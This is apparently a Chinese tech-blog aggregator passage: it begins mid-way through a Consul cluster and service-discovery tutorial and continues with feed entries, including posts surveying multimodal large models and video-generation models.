# curl http://127.0.0.1:8500/v1/catalog/services #查看注册到consul上面的所有服务

# curl http://127.0.0.1:8500/v1/catalog/nodes?pretty  #查询consul集群节点的详细信息,加上?pretty起到了美化输出的效果

# curl http://127.0.0.1:8500/v1/catalog/datacenters  #查询数据中心列表

#上面的这些api查询命令均可参照文档:https://developer.hashicorp.com/consul/api-docs

2.5 consul指定配置文件启动

第一台node节点的配置:

# cat /opt/soft/consul/conf/consul_service.hcl  

#节点名称,需要集群中唯一
node_name = "192.168.1.164"
#是否以server模式运行,决定节点是否参加leader选举
server    = true
#只需要第一台启动的节点配置这个就可以了,其他的不要配置
bootstrap = true
#是否启动WEB UI,这里不设置那个consul的Web页面是无法访问的
ui_config {
  enabled = true
}
#数据中心
datacenter = "beijing-c"
#数据目录,存放consul的节点数据
data_dir   = "/data01/consul"
#日志级别
log_level  = "INFO"
#日志写入位置
log_file   = "/opt/soft/consul/log/"
addresses {
  http = "0.0.0.0"
}
#配置指定用于HTTP、HTTPS、DNS和gRPC服务器的IP地址,不加这里8600,8503端口默认是绑定127.0.0.1(根据启动观察的)。所以也可以指定IP如192.168.1.164
client_addr = "0.0.0.0"
#启动端口绑定地址
bind_addr = "192.168.1.164" 
connect {
  enabled = true
}

#consul agent -config-dir=/opt/soft/consul/conf &  #直接使用加载配置文件目录的启动方式启动,你会发现一个节点也可以启动并且本身是leader节点

第二个node节点的配置:

# cat /opt/soft/consul/conf/consul_service.hcl

node_name = "192.168.1.165"
server    = true
ui_config {
  enabled = true
}
datacenter = "beijing-c"
data_dir   = "/data01/consul"
log_level  = "INFO"
log_file   = "/opt/soft/consul/log/"
retry_join = ["192.168.1.164"] 
#期望的服务节点数用于引导集群,可以加在这里哈,它和bootstrap=true是互斥的
bootstrap_expect = 3
addresses {
  http = "0.0.0.0"
}
client_addr = "0.0.0.0"
bind_addr = "192.168.1.165" 
connect {
  enabled = true
}

#consul agent -config-dir=/opt/soft/consul/conf &   #加进集群了

第三个node节点的配置:

# cat /opt/soft/consul/conf/consul_service.hcl

node_name = "192.168.1.166"
server    = true
ui_config {
  enabled = true
}
datacenter = "beijing-c"
data_dir   = "/data01/consul"
log_level  = "INFO"
log_file   = "/opt/soft/consul/log/"
retry_join = ["192.168.1.164"] 
#期望的服务节点数用于引导集群,可以加在这里哈,它和bootstrap=true是互斥的
bootstrap_expect = 3
addresses {
  http = "0.0.0.0"
}
client_addr = "0.0.0.0"
bind_addr = "192.168.1.166" 
connect {
  enabled = true
}

#consul agent -config-dir=/opt/soft/consul/conf &   #加进集群了

#现在你可以把leader节点关闭掉看看能不能进行重新选主了

第四个client节点的配置:

/opt/soft/consul/conf/consul_client.hcl

node_name = "client-192.168.1.220"
server    = false
ui_config {
  enabled = true
}
datacenter = "beijing-c"
data_dir   = "/data01/consul"
log_level  = "INFO"
log_file   = "/opt/soft/consul/log/"
retry_join = ["192.168.1.164","192.168.1.165","192.168.1.166"] 
bind_addr = "192.168.1.220"
client_addr = "0.0.0.0" 
#这里注意了,默认这里是false,如果为true,当agent收到一个TERM信号的时候,它会发送leave信息到集群中的其他节点上。
#什么意思呢,就是你不设置这里,当你的consul客户端是直接Kill 进程号中断进程而不是执行的consul leave得时候,这个节点再集群中的状态是failed而不是left
#consul节点状态就三种:alive,failed(服务端会进行周期性的连接失败节点,默认是72小时后不再连接,有时候需要用force-leave指定让此节点快速转变为left状态),left(离开)
leave_on_terminate = true

#consul agent -config-dir=/opt/soft/consul/conf &

# consul members  #随便在一台consul服务上面执行下查看成员

image.png

三、注册与发现

官网文档:https://developer.hashicorp.com/consul/docs/services/services

3.1 静态注册

对于服务发现,服务的核心Consul工作流由三个阶段组成:

定义服务和健康检查: 你可以在服务定义中定义健康检查,以验证服务的健康状况。
注册服务和健康检查:定义你的服务和健康调查后,你必须向Consul代理注册。
查询服务:在注册你的服务和健康检查后,你网络中的其他服务可以使用DNS执行静态或动态查找以访问你的服务。

我们先跟着官网记录一下注册会涉及到的服务选项:https://developer.hashicorp.com/consul/docs/services/configuration/services-configuration-reference

配置介绍

name: string | 必须填写
#指定服务名称的必选值。我们建议为服务定义名称使用有效的DNS标签,以便与外部DNS兼容。默认是none
id: string
#指定服务的ID。同一节点上的服务id不能重复。如果默认名称与其他服务冲突,建议指定唯一的值。默认值:name字段的值。
address: string
#指定特定于服务的IP地址或主机名的字符串值。默认值:agent节点的IP地址
port: number
#指定服务的端口号。默认是是agent的端口号
tags: list of strings
#指定用于添加服务级别标签的字符串值列表。标记值对Consul是不透明的。例如tags = ["v2", "primary"]
meta: map(其中包含custom_meta_key: string)
#元字段包含将语义元数据与服务关联的自定义键值对。
tagged_addresses: map (其中包含lan:map(address: string,port: number),wan: map(address: string,port: number))
#为节点或服务配置附加地址的对象。远程代理和服务可以使用标记的地址作为地址字段中指定的地址的替代方案与服务通信。一个节点或服务可以配置多个地址。
socket_path: string
#指定服务套接字路径的字符串值。如果服务监听Unix Domain套接字,则指定此参数将服务公开给mesh。默认是none
enable_tag_override: boolean
#设置为true以允许外部Consul代理修改Consul目录中服务的标记。默认是false
checks : list of maps
#定义健康检查的方式
kind: string
#将服务标识为代理并确定其在服务网格中的角色的字符串值。对于非代理服务实例,不需要配置kind参数。
proxy: map
#当服务被配置为在服务网格中作为代理运行时,指定代理配置的对象。
connect: map(其中包含native: boolean,sidecar_service: object)
#配置Consul服务网格连接的对象。
locality: map |企业版参数(其中包含region: string,zone: string)
weights: map(其中包含passing: number,warning: number)
#该对象配置如何根据服务的健康状态在DNS SRV请求中对服务实例进行加权。
token: string | 如果启用了ACL,则需要
#指定在启用ACL时注册服务时要显示的ACL令牌。默认是none
namespace: string | 企业版参数

先来一个最简单的配置文件:

#cat /etc/consul.d/redis01_service.hcl

service {
  name = "redis01"
  address = "192.168.1.164"
  port = 6379
  tags = ["primary"]
}

# /opt/soft/consul/consul services register /etc/consul.d/redis01_service.hcl  

Registered service: redis01

# curl 127.0.0.1:8500/v1/agent/services|python -m json.tool  #可以结构性的看下我们注册的服务,可以看到完整的注册服务信息

{
    "redis01": {
        "Address": "192.168.1.164",
        "Datacenter": "beijing-c",
        "EnableTagOverride": false,
        "ID": "redis01",
        "Meta": {},
        "Port": 6379,
        "Service": "redis01",
        "TaggedAddresses": {
            "lan_ipv4": {
                "Address": "192.168.1.164",
                "Port": 6379
            },
            "wan_ipv4": {
                "Address": "192.168.1.164",
                "Port": 6379
            }
        },
        "Tags": [
            "primary"
        ],
        "Weights": {
            "Passing": 1,
            "Warning": 1
        }
    }
}

3.2 定义健康检查

运行状况检查是验证服务或节点运行状况的配置。运行状况检查配置嵌套在服务块中。可以在单独的检查块中为服务定义单独的运行状况检查,也可以在检查块中定义多个检查。可以创建几种不同类型的检查:

Script checks:调用外部应用程序,该应用程序执行运行状况检查,使用适当的退出代码退出,并可能生成输出。脚本检查是最常见的检查类型之一。
HTTP checks:向指定的URL发出HTTP GET请求,并等待指定的时间。HTTP检查是最常见的检查类型之一。
TCP checks:尝试通过TCP连接到IP或主机名和端口,并等待指定的时间。
UDP checks:将UDP数据报发送到指定的IP地址或主机名和端口,并等待指定的时间。
Time-to-live (TTL) checks:被动检查,等待来自服务的更新。如果在指定的持续时间之前未收到状态更新,则健康检查进入临界状态。
Docker checks: 依赖于打包在Docker容器中的外部应用程序,这些应用程序由对Docker exec API端点的调用触发。
gRPC checks:支持标准gRPC健康检查协议的探测应用
H2ping checks:测试使用http2的端点。检查连接到端点并发送ping帧。
Alias checks:表示另一个已注册节点或服务的运行状况状态。

# cat /etc/consul.d/redis01_service.hcl  #我们故意把tcp探测端口改错一下,看看会有什么提示

service {
  name = "redis01"
  address = "192.168.1.164"
  port = 6379
  tags = ["primary"]
  checks = [
    {
        id = "redis"
        name = "Redis TCP on port 6379"
        tcp = "192.168.1.164:63790"
        interval = "10s"
        timeout = "1s"
    }
  ]
}

# /opt/soft/consul/consul services register /etc/consul.d/redis01_service.hcl  #重新加载一下配置文件

# curl 127.0.0.1:8500/v1/health/service/redis01|python -m json.tool  #查看某个服务的健康状态,可以看到更详细的信息,下面为部分消息,可以看到监测失败的输出

......
            {
                "CheckID": "redis",
                ...
                "Output": "dial tcp 192.168.1.164:63790: connect: connection refused",
                ...
                "Status": "critical",
                "Timeout": "1s",
                "Type": "tcp"
            }
        ],
......

健康检查的详细参数参考:https://developer.hashicorp.com/consul/docs/services/configuration/checks-configuration-reference#check-block

3.3 一个服务多个后端注册

#我们把前面讲的两个功能结合一下,一个服务可以注册多个后端,然后以我们的规则进行探活,然后就可以只返回健康的节点了

#先来一个错误的示例:

services{
    name = "redis01"
    ......
}
services{
    name = "redis01"
    ......
}

#在同一个consul机器上面,这种方式你会发现服务是注册成功了,但是下面的配置把上面的覆盖掉了,也就是最下面的配置生效了如果服务name相同的话。为什么会出现覆盖的情况呢,可以通过"consul一个服务被覆盖问题"这个关键字搜索网上的说明内容和解决办法,大概意思就是consul注册的时是通过[instance-id]来区分服务实例的。

# /opt/soft/consul/consul services deregister /etc/consul.d/redis01_service.hcl  #可以通过此命令在注册client consul上面把注册服务清理掉

来个正确的示例:

#那就是重新再找一个consul client节点进行服务注册,比如192.168.1.236上面

#cat /etc/consul.d/redis01_service.hcl

services {
  name = "redis01"
  address = "192.168.1.165"
  port = 6379
  tags = ["primary"]
  checks = [
    {
        id = "redis"
        name = "Redis TCP on port 6379"
        tcp = "192.168.1.165:6379"
        interval = "10s"
        timeout = "1s"
    }
  ]
}

# /opt/soft/consul/consul services register /etc/consul.d/redis01_service.hcl

[INFO]  agent: Synced service: service=redis01
Registered service: redis01
[INFO]  agent: Synced check: check=redis

image.png

#从过web页面可以看到,除了已经注册的consul服务是三个节点外,我们新注册的redis01服务也并非单个节点是2个节点了。

博文来自:www.51niux.com

3.4 服务发现

consul的服务发现有两种方式:HTTP和DNS两种

先说HTTP方式:

# curl -X GET http://127.0.0.1:8500/v1/agent/services?format=text   #你会发现有的机器有结果,有的机器则没有,这条命令是查看本节点有哪些注册服务的命令

# curl -X GET http://127.0.0.1:8500/v1/agent/service/redis01?format=text  #这个命令也是,查看本机注册的某个服务的信息

#所以使用下面正确的发现方式:

# curl -X GET http://127.0.0.1:8500/v1/catalog/services|python -m json.tool  #获取所有已注册的服务

#curl -X GET http://127.0.0.1:8500/v1/catalog/service/redis01|python -m json.tool  发现某个服务的详细信息

再说DNS方式:

# dig @127.0.0.1 -p 8600 redis01.service.beijing-c.consul. ANY   #记住域名格式就是"注册服务名.service.数据中心.consul"

......
;; ANSWER SECTION:
redis01.service.beijing-c.consul. 0 IN	A	192.168.1.164
redis01.service.beijing-c.consul. 0 IN	A	192.168.1.165
......

#可以看到DNS的方式只返回IP,如果你是不通端口或者不确定是什么端口的情况下还是使用HTTP得方式

再说健康检查:

#我们现在故意让192.168.1.165的6379端口不通了,再看下服务发现

image.png

#通过web页面可以看到一个节点已经探测失败了

# dig @127.0.0.1 -p 8600 redis01.service.beijing-c.consul.  ANY  #可以看到只返回了一个健康节点

......
;; ANSWER SECTION:
redis01.service.beijing-c.consul. 0 IN	A	192.168.1.164
......

# curl 127.0.0.1:8500/v1/health/service/redis01?passing|python -m json.tool  #这里要注意了,http换命令了哦,探测成功的是passing状态,这是只显示次注册服务健康的节点,你要显示失败的节点状态就是critical

#另外还有两个命令:

# curl 127.0.0.1:8500/v1/health/service/redis01|python -m json.tool   #查询节点得详细信息,探测状态也在内容里面

# curl 127.0.0.1:8500/v1/health/checks/redis01|python -m json.tool  #只是单纯的显示探测信息,没有address那些信息

3.5 针对consul agent做下操作

这时候你把上面那个redis01_service.hcl文件再找个consul节点然后注册一下,你会发现虽然配置完全相同,但是因为consul client不一样,依旧是可以注册成功的

# curl 127.0.0.1:8500/v1/health/service/redis01?passing|python -m json.tool |jq '.[].Service.Address'

"192.168.1.165"
"192.168.1.164"
"192.168.1.165"

#dig @127.0.0.1 -p 8600 redis01.service.beijing-c.consul. ANY   #dns的方式是有去重功能的

......
;; ANSWER SECTION:
redis01.service.beijing-c.consul. 0 IN	A	192.168.1.165
redis01.service.beijing-c.consul. 0 IN	A	192.168.1.164
......

那么这时候如果你关闭一个consul节点会怎么样呢?直接说结论:这个consul注册的服务相关的信息就查询不到了。再启动这个consul上面的注册信息就又回来了。

3.6 HTTP接口注册

除了配置文件进行服务注册外,还有api注册的方式,下面是例子,结果就不展示了:

curl http://127.0.0.1:8500/v1/agent/service/register -X PUT -i -H "Content-Type:application/json" -d '{
  "Name":"redis02",
  "Tags": [
    "primary",
    "v1"
  ], 
  "Address":"192.168.1.164",
  "Port":6379,
  "Checks":[{
        "Name":"Redis TCP on port 6379",
        "TCP":"192.168.1.164:6379",
        "Interval":"10s",
        "Timeout":"1s"
  }]
}'

September 05, 2024 10:34 AM

August 28, 2024

hellogithub

HelloGitHub 第 101 期

b'\xe6\x9c\xac\xe6\x9c\x9f\xe5\x85\xb1\xe6\x9c\x89 44 \xe4\xb8\xaa\xe9\xa1\xb9\xe7\x9b\xae\xef\xbc\x8c\xe5\x8c\x85\xe5\x90\xab C \xe9\xa1\xb9\xe7\x9b\xae (3)\xef\xbc\x8cC# \xe9\xa1\xb9\xe7\x9b\xae (2)\xef\xbc\x8cC++ \xe9\xa1\xb9\xe7\x9b\xae (2)\xef\xbc\x8cGo \xe9\xa1\xb9\xe7\x9b\xae (5)\xef\xbc\x8cJava \xe9\xa1\xb9\xe7\x9b\xae (2)\xef\xbc\x8cJavaScript \xe9\xa1\xb9\xe7\x9b\xae (5)\xef\xbc\x8cKotlin \xe9\xa1\xb9\xe7\x9b\xae (2)\xef\xbc\x8cPHP \xe9\xa1\xb9\xe7\x9b\xae (2)\xef\xbc\x8cPython \xe9\xa1\xb9\xe7\x9b\xae (5)\xef\xbc\x8cRust \xe9\xa1\xb9\xe7\x9b\xae (4)\xef\xbc\x8cSwift \xe9\xa1\xb9\xe7\x9b\xae (1)\xef\xbc\x8c\xe4\xba\xba\xe5\xb7\xa5\xe6\x99\xba\xe8\x83\xbd (4)\xef\xbc\x8c\xe5\x85\xb6\xe5\xae\x83 (6)\xef\xbc\x8c\xe5\xbc\x80\xe6\xba\x90\xe4\xb9\xa6\xe7\xb1\x8d (1)'

August 28, 2024 12:03 AM

August 20, 2024

bang

什么是多模态大模型

是什么

  1. 在机器学习领域,”模态”被用来描述不同类型的数据形式,如文本、图像、视频、音频等。
  2. 最开始以 ChatGPT 为代表的大语言模型,都是只支持文本这个单一模态。
  3. 可以同时处理文本、图像、音频等多种形式的数据输入输出的大模型,就是多模态大模型。

特点:端到端

一个模型能同时理解和处理多种模态的数据输入。

  1. 非端到端的例子:
    1. 在 ChatGPT 上,可以调用 DALL-E 生成图片,但实际流程是 prompt → GPT4模型 → 生成细节提示词 →DALL-E模型 → 生成高质量细节图像,只是一个能力串联,并不是一个多模态大模型。
    2. 在豆包或其他一些LLM APP上,支持语音输入→文字和语音输出,实际流程是 语音→ASR模型转文字→LLM→文字→tts模型转语音,并不是端到端 语音→LLM→语音。
  2. 端到端的例子:
    1. GPT4o 的实时语音对话,流程是 语音→ GPT4o模型→语音。延迟低、语气/音色/停顿/语义都能综合理解到。
    2. claude3.5 支持按要求识别图片,流程是 图片+prompt → claude模型→文本。能很好结合 prompt 按要求输出对图片的识别。
  3. 端到端的好处:
    1. 模型能直接从原始的数据中学习不同模态之间的关联和映射关系,发现隐藏在数据中的复杂跨模态模式,可以 scale up 达到涌现,没有中间折损,可以做到低延时。

原理:基于大语言模型

  1. 多模态大模型以大语言模型为基础模型,复用已预训练好的模型理解能力,在上面增加其他模态的能力,对齐多个模态的特征让原大语言模型能理解。GPT4o 就是在 GPT4 基础上增加音频/图片的特征能力,它在文本上的理解能力还是跟 GPT4 差不多。
  2. 模型通用的基本构造(参考这篇文章):
    1. 编码模块,将图片/视频/音频等模态编码为特征 token,一般还伴随一些压缩的处理。

    2. 投影层(Projector),让不同模态的特征 token 语义对齐,这是模型重点要训练的部分。

    3. LLM,多个模态的特征都在基础 LLM 大模型上做处理理解,通常 LLM 本身也要在新的模态训练过程中做相应微调,适配新的模态。

    4. 若支持多模态输出,也同样有模态对应的投影层和解码层。

      1

当前模型能力

把多模态大模型能力拆分成输入理解、输出生成的话:

  1. 当前主要在发展输入理解部分,较多大模型支持了图片理解、视频理解能力。
  2. 输出生成上,主流的还是各模态各自在发展阶段,如图片生成模型、视频生成模型、音乐生成模型,都是独立单任务模型。GPT4o、gemini 支持了音频的端到端理解和生成,其他大模型基本还只支持文本生成。
  3. 有一些新的模型在尝试大统一,输入输出都支持 文本、图片、音频、视频多种模态,如腾讯刚出的 VITAAnyGPTUnified-IO,都处于起步阶段,看起来综合效果还没很好。

图片理解

通往多模态的第一步,基本都是在LLM上加入图像识别能力,已成为目前大模型标配,这是最自然最广泛的需求,难度也不高。

现状:大部分模型 文心一言,豆包,GPT4o,claude、Gemini 等都支持,开源的 Qwen-VLLLaVAYi-VLMiniCPM-V 等也非常多。

能力:大模型加持的图像识别,各项能力都能胜任,包括OCR、图片物体理解、逻辑理解、文档图表理解、隐喻理解等。

效果:能力比较全面,但也相对平庸,相对垂直领域专门优化的图片识别模型,效果有差距。例如各大模型在OCR能力上的评测,相对最好的OCR垂直模型有差距,更垂直的像植物识别这种,跟PictureThis 这类专门优化过的差距会更大。对图片理解上,结合大模型能力效果会比较好(评测)。图片识别评测维度非常多,有各种维度的评测标准,从个人实际观感上综合识别效果最好的是claude 3.5

原理

Yi-VL 为例,其他模型差不太多,都是在 LLM 基础上增加图像编码处理然后端到端训练 :

2

  1. 图中的Large Language Model是基础模型,Yi-34B-Chat或Yi-6B-Chat。
  2. Vision Transformer(ViT)模块用于图像编码,用CLIP模型。
  3. Projection 模块处理图像特征,训练后的这一层让图像特征跟文本特征空间对齐,包含 layer normalizations 和 Multilayer Perceptron(MLP)。
  4. 火焰标志表示训练,雪花标志标识冻结不训练。训练分了3步,用了不同的 图片-文本 数据对,最后一步 LLM 也参与训练了。
  5. LLaVA/MiniCPM-V也是类似的结构和训练过程,训练最后一步都会微调到LLM基模参数。

应用

  1. 图片搜索、语义搜索、物体识别、人脸识别这些垂类小模型已经能做好。
  2. 给图片配诗、给图片配音、拍照搜题+解题、阅卷、验证图识别等,这些用结合LLM的大模型,门槛会降低,效果也会有优化。
  3. 截屏识别自动化,试卷阅卷,这种场景结合 LLM 才能做好

视频理解

现状:部分主流大模型支持通过把视频抽帧为一系列静态图进入模型分析,本质上是图片理解能力,能做到一定程度的内容理解,GPT4o 基本是这样,一些支持图片识别的大模型稍加调整也能支持这种方式。少部分模型能识别视频和对应的音频,如Gemini、阿里开源的 VideoLLaMA2。有比较多的开源模型在做各种方式的尝试,更好识别视频帧之间的时间逻辑关系、跟音频/文字模态做更好的整合理解。

效果:有个项目 Video-MME 专门分析各大模型视频识别理解能力,测了多个模型在各种理解任务上的表现,包括时间/空间关系的感知和逻辑推理、文字/物体感知、信息总结等,视频类型包括电影、体育、vlog等,能结合整个视频里的信息做理解。各模型在2分钟以内的短视频上理解能力已经不错,中长视频会差比较多,Gemini、GPT4o和效果最好的,开源的模型差距还比较大。

原理

视频理解的主流方法是使用图像编码器从视频中提取帧,对其进行编码,然后用压缩模块压缩视频编码信息,再将其输入到 LLM 中,与文本输入进行联合理解。

也有很多模型在尝试各种方案,如智谱 CogVLM2 加入时间定位、时间戳的数据,让模型能感知视频对应时间。有些模型尝试改造 LLM,不让视觉特征与文本混合,在 LLM 内部增加独立的 transformer 模块处理,如 mPLUG-Owl3

VideoLLaMA2 为例看下大致原理, 综合支持了视频和音频输入,视频和音频分别编码:

  1. 视频按帧编码为特征,经过STC Connector 处理,Spatial Convolution 处理视频帧特征,提取空间信息,Spatial – Temporal Downsampling 降低视频数据维度,再经过投影层与其他模态特征对齐,一起进入大模型。音频也是一样的流程。
  2. 训练分成多个步骤,视频、音频分别单独训练,最后再联合视频音频一起训练,每个步骤有对应的数据集,看起来只有最后一步联合训练,LLM基模的参数才会参与训练。

(题外话,名字叫 VideoLLaMA2,实际上跟Llama没关系,LLM基模用的是Mistral)

3

应用

基于类似的原理,可以自行训练在垂类表现更好的视频模型,例如:

  1. 视频配文案
  2. 视频内容总结、解读
  3. 视频内容搜索(以自然语言搜索长视频特定内容出现位置)
  4. 影视解读(影视时长过长,当前大模型 context 能力还不具备)

音频理解&输出

能力:GPT4o 和 Gemini 都支持了音频理解和输出,能很好理解音频里的语气、语调、节奏、风格等信息,细微的喘息、叹气声都能很好识别和生成,实时性也能做到很高。

原理

目前 GPT4o 和 gemini 相关公开的具体实现细节较少,最基本的原理跟上述应该差不多,语音编码为token→投影层对齐其他模态→输出预测语音token→解码为语音。可以看看 AnyGPT 的实现:

4

应用

最主要的应用是拟人真实程度高的实时语音对话,从GPT4o的演示看,这点对体验影响很大,即使智能能力进步不大,真实性和实时带来的 AGI 感受也是很强。

语音转录、会议记录总结等,虽然已经有很多 ASR 模型能做到转文字,但整个音频的内容、多人对话、语气情绪都能输入大模型,结合大模型理解能力,预计能做到更好的效果。

其他

端到端生成图片 Gemini 号称支持,但没找到相应资料,视频生成单模型都还在摸索,结合 LLM 还早。多模态大模型整体处于发展阶段,各模态的理解和生成还没到很高的水平,整体进展没预期快,但以当前的能力,针对垂直场景做一些训练,是能够较低门槛做出一些之前做不到或做不好的应用了,例如视频配旁白。

by bang at August 20, 2024 03:31 AM

July 26, 2024

hellogithub

HelloGitHub 第 100 期

b'\xe6\x9c\xac\xe6\x9c\x9f\xe5\x85\xb1\xe6\x9c\x89 41 \xe4\xb8\xaa\xe9\xa1\xb9\xe7\x9b\xae\xef\xbc\x8c\xe5\x8c\x85\xe5\x90\xab C \xe9\xa1\xb9\xe7\x9b\xae (2)\xef\xbc\x8cC# \xe9\xa1\xb9\xe7\x9b\xae (4)\xef\xbc\x8cC++ \xe9\xa1\xb9\xe7\x9b\xae (1)\xef\xbc\x8cGo \xe9\xa1\xb9\xe7\x9b\xae (4)\xef\xbc\x8cJava \xe9\xa1\xb9\xe7\x9b\xae (3)\xef\xbc\x8cJavaScript \xe9\xa1\xb9\xe7\x9b\xae (5)\xef\xbc\x8cKotlin \xe9\xa1\xb9\xe7\x9b\xae (1)\xef\xbc\x8cPython \xe9\xa1\xb9\xe7\x9b\xae (5)\xef\xbc\x8cRust \xe9\xa1\xb9\xe7\x9b\xae (3)\xef\xbc\x8cSwift \xe9\xa1\xb9\xe7\x9b\xae (2)\xef\xbc\x8c\xe4\xba\xba\xe5\xb7\xa5\xe6\x99\xba\xe8\x83\xbd (3)\xef\xbc\x8c\xe5\x85\xb6\xe5\xae\x83 (6)\xef\xbc\x8c\xe5\xbc\x80\xe6\xba\x90\xe4\xb9\xa6\xe7\xb1\x8d (2)'

July 26, 2024 12:04 AM

July 21, 2024

bang

视频生成模型调研 – 人像视频/基础模型/可控编辑/DiT


经常看见有一些视频生成的模型出来,类型还不太一样,简单学习和调研下这个领域和相关技术的情况。在我所看到的有限的范围里,可以把近期出现的视频生成能力分成两类:

  1. 一类是专门精细化控制人物表情动作的模型,驱动一张人像照片动起来。这类模型存在已久,老技术也能实现,近期不断有新模型出现,效果也越来越好,业界好像没针对这一类命个名,姑且叫它人像视频
  2. 另一类是通用的视频生成基础模型,包括基于扩散模型的,以及 sora 出现后的 DiT 架构模型。另外跟 Stable Diffusion 图片生成的生态类似,也会有一些为视频生成基础模型配套的可控编辑扩展模型

人像视频

先来看看人像视频,常见有两类:

  1. 表情控制:输入人物表情视频,让图片的人脸跟着做同样的表情。变种是输入音频,让图片人脸跟着音频的口型动,talking photo。
  2. 姿态控制:输入人物动作的视频,让图片的人跟着视频的动作动。火过的 case 是通义千问的全民舞王科目三。
表情控制(Vimi) 姿态控制(Animate Anyone)

这里的技术都不是这波大模型后才有的,上个时代已经有很多做得不错,上一波爆火的蚂蚁呀嘿已经是 2021 年的事了,相关论文也是 2019 年就有了:《First Order Motion Model for Image Animation》。后面不断有新的方案,包括基于和不基于扩散模型的方案。下面列几个近期出现,看起来还行的方案。

表情控制

基于扩散模型

基于扩散模型的方案,大体思路看起来是在原网络插入 pose/人脸点位 控制,跟 ControlNet 原理差不多,扩散模型本身除了 SD Unet 那套外,基本都会加入视频生成常见的 spatial-attention 和 temporal-attention。

  • AniPortrait(华为):24年3月发布。支持从语音生成对应每一帧的口型和人脸位置图,再基于 SD1.5 扩散模型 + motion module 从参考图生成视频结果。开源可用
3
  • megActor(旷世科技):24年5月发布。没有把视频解析成中间关键点去驱动图片,而是原视频画面直接驱动,以预期得到更生动的效果,2个UNet网络,推理成本看起来会高一些,效果稳定性一般。只支持视频面部特征,不支持音频对口型,开源可用
4
  • EchoMimic(蚂蚁):24年7月发布。同时使用音频和面部特征进行训练,可单独用音频生成,也可以结合输入视频的面部特征生成,结果更自然,开源可用,comfyUI module可用。
5

还有几个不开源的:微软的VASA-1,阿里的EMO,都是语音对口型,朝着数字人方向做的。

非扩散模型

非扩散模型的方案,看起来基本也是先把人脸节点生成完,再用其他的网络结构去应用到图上生成视频。

  • LivePortrait(快手):24年7月刚出的模型,模型很小,主干网络是 ConvNeXt-V2-Tiny,28M参数量,各部分加起来就500M,号称速度很快,单帧推理时间在 RTX 4090 GPU 是 12.8ms,都能稳定实时输出 60 帧视频了,很适合端上部署,这也是非扩散模型的优势,还有个特点是能快速精确控制眼睛和嘴巴的开闭程度,动画稳定。comfyUI module 也有了。
6
  • VividTalk(阿里):跟 AniPortrait 有点像,同样是训练音频→表情嘴型关键点,音频→头部运动关键点,再经与图片一起进入另一个网络生成最终视频,只是这网络不是基于扩散模型。未开源,真实效果未知。
7

姿态控制

8
  • magic-animate(字节),23年底发布。Pose 序列不是 OpenPose 人体骨骼,而是丰富的整个人的动作 densePose,视频转 densePose 还比较麻烦,densePose 序列用 ControlNet 的方式去做生成的控制,另外有一个网络去编码人物形象做IP保持。试用下来,参考图跟 pose 的形象姿态差异大的场景也能支持,比如让蒙娜丽莎跳舞,但这种场景下效果不太好,人脸基本不保持,只保持了人物衣着的IP形象。已开源。
9

还有其他很多,MimicMotionMuseVFollow Your PoseDreaMoving 等,大同小异。

视频生成

视频生成模型业界除了最出名的 runway、pika、sora,也陆续有不少开源的方案出来,当前已有的开源方案基本都是基于 Latent Diffusion Model,核心是 UNet 降噪网络,基于这种网络还有不少做视频可控编辑扩展模型,DiT 架构还在路上。

基础模型

  • I2VGen-XL(阿里),23年11月发布。比较常规,基于 3D-UNet 扩散模型生成,分成基础生成和高清细化两个阶段,细化阶段不是单纯提高分辨率,会改善时间连续性、引入文本输入控制内容。开源可用。
10
  • SVD(Stable Video Diffusion),23年12月发布。模型结构复用 Video LDM,主要是在 U-Net 和 VAE 解码器中分别加入时序层(temporal attention layer),SVD 论文本身在讲模型怎么训练的,包括高质量视频的微调。
11
  • PixelDance(字节),23年11月发布。特点是首尾帧机制,首帧图作为强引导,与噪点图拼接一起作为输入,严格遵守首帧图,同时尾帧图作为弱引导,训练中会随机抛弃尾帧,推理降噪过程中在步数大于τ值时也会抛弃尾帧,避免完全对齐,让生成的结果有多样性。在 DiT 架构的模型出现之前,效果基本是最好的,生成的视频运动幅度大,稳定性不错。未开源。
12
  • ConsistI2V(零一万物) ,24年2月发布。跟 PixelDance 有点像,也是首帧与噪点图拼接一起作为输入(类似 SD 的垫图),同时会把首帧也作为降噪过程条件作用在 spatial-attention 和 temporal-attention 上,较大地强调首帧图片的重要性,这样生成的视频不容易崩,一致性比较好。 已开源可在线试用
13

可控编辑

视频生成的可控编辑是指通过各种方式控制视频生成方向,例如运动方向、内容替换、风格迁移等,原理上跟图片生成的 ControlNet / IPAdatper 等机制差不多,基于上述视频生成基础模型,训练扩展模型插入原网络,控制生成方向。

图生视频控制

大部分视频生成是图生视频,在图片上圈选运动范围和运动轨迹是很自然的诉求,一代目 Runway 上的 Motion Brush 就是做这个,基本应该应该是后续正经视频生成模型的标配,也有开源模型基于 SVD 等基模做了这个能力。

  • mofa-video(腾讯),24年7月发布,基于 SVD。可以训练多种 adapter,控制图片生成,包括手势控制、人脸关键点控制、姿势关键点等,每种控制 adapter 独立训练,可以独立使用或组合使用,比较灵活通用。开源可用。
14

视频内容编辑/风格化

这一类指 Video to Video,修改原视频上的元素,替换衣服、人物等,部分也包含了视频风格迁移能力。

  • ReVideo(腾讯),24年7月发布,基于SVD。通过修改第一帧和绘制轨迹线,对视频中特定区域内容和运动进行定制化编辑。使用分阶段训练的策略,简单理解为,A阶段重点训练运动轨迹,B阶段重点训练内容替换,再进行结合。开源可用。
15
  • I2VEdit(商汤),基于SVD,利用成熟的图像工具编辑第一帧,再将第一帧的修改应用到整个视频,实现局部替换和风格化。
16
  • AnyV2V(华为): 比较通用的视频编辑框架,可以灵活用于多个视频生成模型,包括I2VGen-XL、ConsistI2V、SEINE, 同样是先通过各种方式改造编辑视频首帧,再插入视频生成模型,将风格和替换内容扩展到整个视频,实现视频编辑能力。通用于多个模型的原理,简单理解是提取了空间注意力/时间注意力特征注入了原生成模型的 spatical-attention/temporal-attention 模块,理论上差不多架构的模型都能通用。 可试用
1718
  • animatediff:animatediff 比较特殊,不是基于 SVD,而是基于图生成 Stable Diffusion,在上面训练加上运动模块 Motion Module,学习了视频片段的运动知识,支持视频生成。很早发布,在 SD 生态配合 IPAdapter / ControlNet 等各种扩展和 LoRA 模型一起使用,组合出很多有趣的应用,看到的大部分视频风格转动漫风基本是基于这个方案。
19

DiT

DiT(Diffusion Transformer) 是视频生成基础模型的一个算法架构,应该放在基础模型部分的,但它太新了,想单独抽出来细看一下。

